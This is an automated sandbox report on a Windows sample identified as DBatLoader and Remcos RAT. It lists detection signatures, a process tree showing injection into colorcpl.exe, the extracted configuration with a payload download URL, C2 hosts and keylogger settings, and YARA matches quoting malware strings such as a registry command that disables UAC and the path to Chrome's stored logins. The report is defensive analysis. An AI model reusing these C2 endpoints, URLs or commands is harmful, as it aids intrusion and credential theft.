Edit tour

Windows Analysis Report
SEPTobn3BR.exe

Overview

General Information

Sample name:	SEPTobn3BR.exe renamed because original name is a hash value
Original sample name:	ccdcd04a0ffde31366754018598eb02f.exe
Analysis ID:	1578037
MD5:	ccdcd04a0ffde31366754018598eb02f
SHA1:	38492826e8febf5bd7da4f9d8a8379ec7044ca9a
SHA256:	63c77a3f6cfa94cbc6a4c0c1475f02520592e58d6a03e8553e77a85a3f03c32f
Tags:	exeuser-abuse_ch
Infos:

Detection

Remcos, DBatLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected Remcos RAT

Early bird code injection technique detected

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Remcos

Suricata IDS alerts for network traffic

Yara detected DBatLoader

Yara detected Remcos RAT

AI detected suspicious sample

Allocates many large memory junks

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to register a low level keyboard hook

Contains functionality to steal Chrome passwords or cookies

Contains functionality to steal Firefox passwords or cookies

Contains functionalty to change the wallpaper

Delayed program exit found

Drops PE files with a suspicious file extension

Installs a global keyboard hook

Machine Learning detection for dropped file

Machine Learning detection for sample

Queues an APC in another process (thread injection)

Sample is not signed and drops a device driver

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Suspicious Creation with Colorcpl

Abnormal high CPU Usage

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to download and launch executables

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to enumerate running services

Contains functionality to launch a control a shell (cmd.exe)

Contains functionality to launch a process as a different user

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

SEPTobn3BR.exe (PID: 7648 cmdline: "C:\Users\user\Desktop\SEPTobn3BR.exe" MD5: CCDCD04A0FFDE31366754018598EB02F)

cmd.exe (PID: 7868 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

colorcpl.exe (PID: 7920 cmdline: C:\Windows\System32\colorcpl.exe MD5: DB71E132EBF1FEB6E93E8A2A0F0C903D)

Emxwenem.PIF (PID: 8112 cmdline: "C:\Users\Public\Libraries\Emxwenem.PIF" MD5: CCDCD04A0FFDE31366754018598EB02F)

cmd.exe (PID: 8176 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

colorcpl.exe (PID: 3232 cmdline: C:\Windows\System32\colorcpl.exe MD5: DB71E132EBF1FEB6E93E8A2A0F0C903D)

Emxwenem.PIF (PID: 816 cmdline: "C:\Users\Public\Libraries\Emxwenem.PIF" MD5: CCDCD04A0FFDE31366754018598EB02F)

cmd.exe (PID: 5140 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

colorcpl.exe (PID: 6756 cmdline: C:\Windows\System32\colorcpl.exe MD5: DB71E132EBF1FEB6E93E8A2A0F0C903D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://0xmrmagnezi.github.io/malware%20analysis/RemcosRAT/ https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://www.maan2u.com/docs/233_Emxwenemixg"]}

Threatname: Remcos

{"Host:Port:Password": ["185.174.103.111:2404:1", "185.174.103.111:2468:1", "apostlejob2.duckdns.org:2468:1", "apostlejob2.duckdns.org:2404:1"], "Assigned name": "Big Money 1", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Rmc-3W4HX7", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "100"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\remcos\logs.dat	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.3812934475.00000000313BF000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000D.00000002.1623286615.000000001ECB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.1421740936.00000000022C6000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x691e0:$a1: Remcos restarted by watchdog! 0x69738:$a3: %02i:%02i:%02i:%03i 0x69abd:$a4: * Remcos v
0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x641e4:$str_a1: C:\Windows\System32\cmd.exe 0x64160:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64160:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63610:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63e48:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6320c:$str_b2: Executing file: 0x64328:$str_b3: GetDirectListeningPort 0x63c08:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63e30:$str_b7: \update.vbs 0x63234:$str_b9: Downloaded file: 0x63220:$str_b10: Downloading file: 0x632c4:$str_b12: Failed to upload file: 0x642f0:$str_b13: StartForward 0x64310:$str_b14: StopForward 0x63dd8:$str_b15: fso.DeleteFile " 0x63d6c:$str_b16: On Error Resume Next 0x63e08:$str_b17: fso.DeleteFolder " 0x632b4:$str_b18: Uploaded file: 0x63274:$str_b19: Unable to delete: 0x63da0:$str_b20: while fso.FileExists(" 0x63749:$str_c0: [Firefox StoredLogins not found]
0000000D.00000002.1606949388.0000000002C00000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x63100:$s1: \Classes\mscfile\shell\open\command 0x63160:$s1: \Classes\mscfile\shell\open\command 0x63148:$s2: eventvwr.exe
00000005.00000002.3812571420.00000000311A8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000003.1334500441.000000007FB00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.1452056215.000000007FBD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0000000A.00000002.1526792578.0000000000758000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000005.00000002.3812685840.00000000311F0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000005.00000003.2755366865.00000000311F0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.1449264347.000000007E8E0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x691f8:$a1: Remcos restarted by watchdog! 0x69750:$a3: %02i:%02i:%02i:%03i 0x69ad5:$a4: * Remcos v
00000005.00000002.3812571420.00000000311CA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000000.00000002.1423795601.0000000002BE1000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x6976c:$a1: Remcos restarted by watchdog! 0x69cc4:$a3: %02i:%02i:%02i:%03i 0x6a049:$a4: * Remcos v
0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x691e0:$a1: Remcos restarted by watchdog! 0x69738:$a3: %02i:%02i:%02i:%03i 0x69abd:$a4: * Remcos v
0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x641e4:$str_a1: C:\Windows\System32\cmd.exe 0x64160:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64160:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63610:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63e48:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6320c:$str_b2: Executing file: 0x64328:$str_b3: GetDirectListeningPort 0x63c08:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63e30:$str_b7: \update.vbs 0x63234:$str_b9: Downloaded file: 0x63220:$str_b10: Downloading file: 0x632c4:$str_b12: Failed to upload file: 0x642f0:$str_b13: StartForward 0x64310:$str_b14: StopForward 0x63dd8:$str_b15: fso.DeleteFile " 0x63d6c:$str_b16: On Error Resume Next 0x63e08:$str_b17: fso.DeleteFolder " 0x632b4:$str_b18: Uploaded file: 0x63274:$str_b19: Unable to delete: 0x63da0:$str_b20: while fso.FileExists(" 0x63749:$str_c0: [Firefox StoredLogins not found]
0000000A.00000002.1526920917.0000000002990000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x63100:$s1: \Classes\mscfile\shell\open\command 0x63160:$s1: \Classes\mscfile\shell\open\command 0x63148:$s2: eventvwr.exe
00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x691e0:$a1: Remcos restarted by watchdog! 0x69738:$a3: %02i:%02i:%02i:%03i 0x69abd:$a4: * Remcos v
00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp	REMCOS_RAT_variants	unknown	unknown	0x641e4:$str_a1: C:\Windows\System32\cmd.exe 0x64160:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64160:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63610:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63e48:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6320c:$str_b2: Executing file: 0x64328:$str_b3: GetDirectListeningPort 0x63c08:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63e30:$str_b7: \update.vbs 0x63234:$str_b9: Downloaded file: 0x63220:$str_b10: Downloading file: 0x632c4:$str_b12: Failed to upload file: 0x642f0:$str_b13: StartForward 0x64310:$str_b14: StopForward 0x63dd8:$str_b15: fso.DeleteFile " 0x63d6c:$str_b16: On Error Resume Next 0x63e08:$str_b17: fso.DeleteFolder " 0x632b4:$str_b18: Uploaded file: 0x63274:$str_b19: Unable to delete: 0x63da0:$str_b20: while fso.FileExists(" 0x63749:$str_c0: [Firefox StoredLogins not found]
00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x63100:$s1: \Classes\mscfile\shell\open\command 0x63160:$s1: \Classes\mscfile\shell\open\command 0x63148:$s2: eventvwr.exe
Process Memory Space: SEPTobn3BR.exe PID: 7648	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: SEPTobn3BR.exe PID: 7648	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: SEPTobn3BR.exe PID: 7648	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x4c3a0d:$a1: Remcos restarted by watchdog! 0x5e7f4a:$a1: Remcos restarted by watchdog! 0x4c3f44:$a3: %02i:%02i:%02i:%03i 0x4c44fd:$a3: %02i:%02i:%02i:%03i 0x5e8481:$a3: %02i:%02i:%02i:%03i 0x5e8a3a:$a3: %02i:%02i:%02i:%03i 0x4c4166:$a4: * Remcos v 0x5e86a3:$a4: * Remcos v
Process Memory Space: colorcpl.exe PID: 7920	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: colorcpl.exe PID: 7920	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: colorcpl.exe PID: 7920	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x1d77e:$a1: Remcos restarted by watchdog! 0x1dcb2:$a3: %02i:%02i:%02i:%03i 0x1e26b:$a3: %02i:%02i:%02i:%03i 0x1ded4:$a4: * Remcos v
Process Memory Space: colorcpl.exe PID: 3232	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: colorcpl.exe PID: 3232	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: colorcpl.exe PID: 3232	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x11c45:$a1: Remcos restarted by watchdog! 0x12179:$a3: %02i:%02i:%02i:%03i 0x12732:$a3: %02i:%02i:%02i:%03i 0x1239b:$a4: * Remcos v
Process Memory Space: colorcpl.exe PID: 6756	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: colorcpl.exe PID: 6756	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
Process Memory Space: colorcpl.exe PID: 6756	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x7d1b:$a1: Remcos restarted by watchdog! 0x824f:$a3: %02i:%02i:%02i:%03i 0x8808:$a3: %02i:%02i:%02i:%03i 0x8471:$a4: * Remcos v
Click to see the 33 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
13.2.colorcpl.exe.2c00000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
13.2.colorcpl.exe.2c00000.0.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x691e0:$a1: Remcos restarted by watchdog! 0x69738:$a3: %02i:%02i:%02i:%03i 0x69abd:$a4: * Remcos v
13.2.colorcpl.exe.2c00000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x641e4:$str_a1: C:\Windows\System32\cmd.exe 0x64160:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64160:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63610:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63e48:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6320c:$str_b2: Executing file: 0x64328:$str_b3: GetDirectListeningPort 0x63c08:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63e30:$str_b7: \update.vbs 0x63234:$str_b9: Downloaded file: 0x63220:$str_b10: Downloading file: 0x632c4:$str_b12: Failed to upload file: 0x642f0:$str_b13: StartForward 0x64310:$str_b14: StopForward 0x63dd8:$str_b15: fso.DeleteFile " 0x63d6c:$str_b16: On Error Resume Next 0x63e08:$str_b17: fso.DeleteFolder " 0x632b4:$str_b18: Uploaded file: 0x63274:$str_b19: Unable to delete: 0x63da0:$str_b20: while fso.FileExists(" 0x63749:$str_c0: [Firefox StoredLogins not found]
13.2.colorcpl.exe.2c00000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x63100:$s1: \Classes\mscfile\shell\open\command 0x63160:$s1: \Classes\mscfile\shell\open\command 0x63148:$s2: eventvwr.exe
5.2.colorcpl.exe.3090000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
5.2.colorcpl.exe.3090000.0.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x691e0:$a1: Remcos restarted by watchdog! 0x69738:$a3: %02i:%02i:%02i:%03i 0x69abd:$a4: * Remcos v
5.2.colorcpl.exe.3090000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x641e4:$str_a1: C:\Windows\System32\cmd.exe 0x64160:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64160:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63610:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63e48:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6320c:$str_b2: Executing file: 0x64328:$str_b3: GetDirectListeningPort 0x63c08:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63e30:$str_b7: \update.vbs 0x63234:$str_b9: Downloaded file: 0x63220:$str_b10: Downloading file: 0x632c4:$str_b12: Failed to upload file: 0x642f0:$str_b13: StartForward 0x64310:$str_b14: StopForward 0x63dd8:$str_b15: fso.DeleteFile " 0x63d6c:$str_b16: On Error Resume Next 0x63e08:$str_b17: fso.DeleteFolder " 0x632b4:$str_b18: Uploaded file: 0x63274:$str_b19: Unable to delete: 0x63da0:$str_b20: while fso.FileExists(" 0x63749:$str_c0: [Firefox StoredLogins not found]
5.2.colorcpl.exe.3090000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x63100:$s1: \Classes\mscfile\shell\open\command 0x63160:$s1: \Classes\mscfile\shell\open\command 0x63148:$s2: eventvwr.exe
10.2.colorcpl.exe.2990000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
10.2.colorcpl.exe.2990000.0.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x685e0:$a1: Remcos restarted by watchdog! 0x68b38:$a3: %02i:%02i:%02i:%03i 0x68ebd:$a4: * Remcos v
10.2.colorcpl.exe.2990000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x635e4:$str_a1: C:\Windows\System32\cmd.exe 0x63560:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63560:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x62a10:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63248:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6260c:$str_b2: Executing file: 0x63728:$str_b3: GetDirectListeningPort 0x63008:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63230:$str_b7: \update.vbs 0x62634:$str_b9: Downloaded file: 0x62620:$str_b10: Downloading file: 0x626c4:$str_b12: Failed to upload file: 0x636f0:$str_b13: StartForward 0x63710:$str_b14: StopForward 0x631d8:$str_b15: fso.DeleteFile " 0x6316c:$str_b16: On Error Resume Next 0x63208:$str_b17: fso.DeleteFolder " 0x626b4:$str_b18: Uploaded file: 0x62674:$str_b19: Unable to delete: 0x631a0:$str_b20: while fso.FileExists(" 0x62b49:$str_c0: [Firefox StoredLogins not found]
10.2.colorcpl.exe.2990000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x62500:$s1: \Classes\mscfile\shell\open\command 0x62560:$s1: \Classes\mscfile\shell\open\command 0x62548:$s2: eventvwr.exe
10.2.colorcpl.exe.2990000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
10.2.colorcpl.exe.2990000.0.raw.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x691e0:$a1: Remcos restarted by watchdog! 0x69738:$a3: %02i:%02i:%02i:%03i 0x69abd:$a4: * Remcos v
10.2.colorcpl.exe.2990000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x641e4:$str_a1: C:\Windows\System32\cmd.exe 0x64160:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x64160:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63610:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63e48:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6320c:$str_b2: Executing file: 0x64328:$str_b3: GetDirectListeningPort 0x63c08:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63e30:$str_b7: \update.vbs 0x63234:$str_b9: Downloaded file: 0x63220:$str_b10: Downloading file: 0x632c4:$str_b12: Failed to upload file: 0x642f0:$str_b13: StartForward 0x64310:$str_b14: StopForward 0x63dd8:$str_b15: fso.DeleteFile " 0x63d6c:$str_b16: On Error Resume Next 0x63e08:$str_b17: fso.DeleteFolder " 0x632b4:$str_b18: Uploaded file: 0x63274:$str_b19: Unable to delete: 0x63da0:$str_b20: while fso.FileExists(" 0x63749:$str_c0: [Firefox StoredLogins not found]
10.2.colorcpl.exe.2990000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x63100:$s1: \Classes\mscfile\shell\open\command 0x63160:$s1: \Classes\mscfile\shell\open\command 0x63148:$s2: eventvwr.exe
5.2.colorcpl.exe.3090000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
5.2.colorcpl.exe.3090000.0.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x685e0:$a1: Remcos restarted by watchdog! 0x68b38:$a3: %02i:%02i:%02i:%03i 0x68ebd:$a4: * Remcos v
5.2.colorcpl.exe.3090000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x635e4:$str_a1: C:\Windows\System32\cmd.exe 0x63560:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x63560:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x62a10:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x63248:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x6260c:$str_b2: Executing file: 0x63728:$str_b3: GetDirectListeningPort 0x63008:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x63230:$str_b7: \update.vbs 0x62634:$str_b9: Downloaded file: 0x62620:$str_b10: Downloading file: 0x626c4:$str_b12: Failed to upload file: 0x636f0:$str_b13: StartForward 0x63710:$str_b14: StopForward 0x631d8:$str_b15: fso.DeleteFile " 0x6316c:$str_b16: On Error Resume Next 0x63208:$str_b17: fso.DeleteFolder " 0x626b4:$str_b18: Uploaded file: 0x62674:$str_b19: Unable to delete: 0x631a0:$str_b20: while fso.FileExists(" 0x62b49:$str_c0: [Firefox StoredLogins not found]
5.2.colorcpl.exe.3090000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x62500:$s1: \Classes\mscfile\shell\open\command 0x62560:$s1: \Classes\mscfile\shell\open\command 0x62548:$s2: eventvwr.exe
13.2.colorcpl.exe.2c00000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
13.2.colorcpl.exe.2c00000.0.unpack	Windows_Trojan_Remcos_b296e965	unknown	unknown	0x685e0:$a1: Remcos restarted by watchdog! 0x68b38:$a3: %02i:%02i:%02i:%03i 0x68ebd:$a4: * Remcos v
